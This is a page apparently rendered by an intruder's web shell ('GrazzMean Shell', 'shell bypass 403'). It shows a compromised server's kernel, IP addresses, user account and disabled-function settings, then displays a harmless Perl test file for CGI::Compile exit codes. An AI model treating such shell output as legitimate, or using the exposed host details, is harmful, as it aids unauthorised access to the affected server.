shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-CGI-Compile/t/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 18.216.141.244
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : exit-code.t
#!/usr/bin/perl

use Test::More tests => 13 * 4;
use CGI::Compile;

my $exit_return_val = sub {
    return CGI::Compile->new(return_exit_val => 1)->compile(shift)->();
};

my $exit_return_val_global = sub {
    no warnings 'once';
    local $CGI::Compile::RETURN_EXIT_VAL = 1;
    return CGI::Compile->compile(shift)->();
};

my $throw_exit_val = sub {
    my $rv = eval { CGI::Compile->compile(shift)->() };
    ok( (defined($rv) && $rv =~ /^\d+\Z/ && $@ eq '') || (!defined($rv) && $@ =~ /^exited nonzero: (\d+) /) );
    $rv = $1 if !defined($rv);
    return $rv;
};

foreach my $method ($exit_return_val, $exit_return_val_global, $throw_exit_val) {
    is ($method->(\'0;'), 0, 'fall-through exit 0');
    is ($method->(\'exit 0;'), 0, 'function exit 0');
    is ($method->(\'1;'), 1, 'fall-through exit 1');
    is ($method->(\'2.6;'), 3, 'fall-through float rounded up to int');
    is ($method->(\'4.4;'), 4, 'fall-through float rounded down to int');
    is ($method->(\'exit 1;'), 1, 'function exit 1');
    is ($method->(\'"blah";'), 0, 'fall-through exit string');
    is ($method->(\'exit "blah";'), 0, 'function exit string');
    is ($method->(\'"";'), 0, 'fall-through exit empty string');
    is ($method->(\'exit "";'), 0, 'function exit empty string');
    is ($method->(\';'), 0, 'fall-through exit undef');
    is ($method->(\'exit;'), 0, 'function exit implicit undef');
    is ($method->(\'exit undef;'), 0, 'function exit explicit undef');
}
© 2025 GrazzMean